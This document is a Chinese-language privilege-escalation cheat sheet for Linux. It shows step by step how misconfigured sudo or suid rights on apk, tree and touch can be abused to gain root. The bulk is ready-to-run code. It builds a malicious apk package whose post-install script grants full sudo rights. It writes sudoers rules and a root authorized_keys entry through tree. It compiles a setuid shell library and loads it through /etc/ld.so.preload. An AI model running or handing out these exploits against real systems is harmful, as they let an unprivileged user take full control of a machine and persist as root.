suid sudo提权收集
apk
准备sudo或suid apk环境
apk add sudo
adduser demo
echo 'demo ALL=(ALL) NOPASSWD: /sbin/apk' >> /etc/sudoers.d/demo-apk
构造恶意安装包,准备利用.post-install脚本,在apk安装后会触发执行恶意脚本
mkdir -p /tmp/evil3 && cd /tmp/evil3
cat > post.sh <<'EOF'
#!/bin/sh
# 以 root 身份执行的 payload:给当前用户添加完整 sudo 权限
echo "demo ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/demo-own
chmod 0440 /etc/sudoers.d/demo-own
EOF
chmod +x post.sh
构建合法的 v3 恶意包
apk mkpkg \
--info "name:evil-pwn" \
--info "version:1.0.0-r0" \
--info "arch:x86_64" \
--script post-install:post.sh \
--output evil-pwn.apk
sudo apk 安装恶意包
# --allow-untrusted 跳过签名验证
sudo apk add --allow-untrusted /tmp/evil3/evil-pwn.apk

tree
sudo tree 提权
admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ALL ALL=(ALL) NOPASSWD: ALL' > '#a'
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N '#a' -o /tmp/b
输出文件第一行会保留读取的文件名,可以通过給文件名加上 # 起到注释作用,在一些按行解析的配置文件里并不是必须的,如 sudoers 、authorized_keys 、passwd、shadow等配置文件按行解析,错误行不影响其他行生效

写入新的 sudo 规则
admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ALL ALL=(ALL) NOPASSWD: ALL' > /tmp/a
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N /tmp/a -o /etc/sudoers.d/demo-all

写入公钥
admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDb16r5xngn0dEVnW0dVEbc8hO84MvlE3o73qUZo+BJx ssh-ed25519-20260726153337' > /tmp/a
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N /tmp/a -o /root/.ssh/authorized_keys

touch
suid touch 提权
touch 默认创建的文件权限是 666,umask 022 的情况下,创建的文件权限是 644,umask 000 的情况下,创建的文件权限是 666,此时可以允许其他用户写入,但常见利用的方案如sudo、cron、ssh会因为权限松散拒绝生效

ld.so.preload在666权限下仍然可以生效,在二进制文件执行前加载执行共享库。此方案适用范围:glibc 系 Linux:Debian、Ubuntu、Kali、CentOS,不适用范围:musl 系 Linux:Alpine
cat > /tmp/pe.c << 'EOF'
// gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
#include <unistd.h>
__attribute__((constructor))
void pwn()
{
unlink("/etc/ld.so.preload");
setuid(0);
setgid(0);
execl("/bin/sh","sh",(char *)0);
}
EOF
编译生成共享库:
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
写入到 /etc/ld.so.preload 文件中
umask 000
./touch /etc/ld.so.preload
cat > /etc/ld.so.preload << 'EOF'
/tmp/pe.so
EOF
su
